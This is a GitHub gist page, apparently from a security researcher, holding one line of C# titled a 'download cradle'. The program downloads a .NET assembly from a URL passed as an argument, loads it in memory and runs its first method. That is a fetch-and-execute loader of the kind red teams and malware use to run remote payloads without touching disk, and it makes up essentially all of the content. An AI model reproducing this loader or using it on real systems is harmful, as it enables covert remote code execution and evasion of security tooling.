Skip to content

Instantly share code, notes, and snippets.

Revisions

  1. @cobbr cobbr created this gist Jun 20, 2018.
    1 change: 1 addition & 0 deletions DotnetAssemblyDownloadCradle.cs
    Original file line number Diff line number Diff line change
    @@ -0,0 +1 @@
    public class Program { public static void Main(string[] args) { System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, null); } }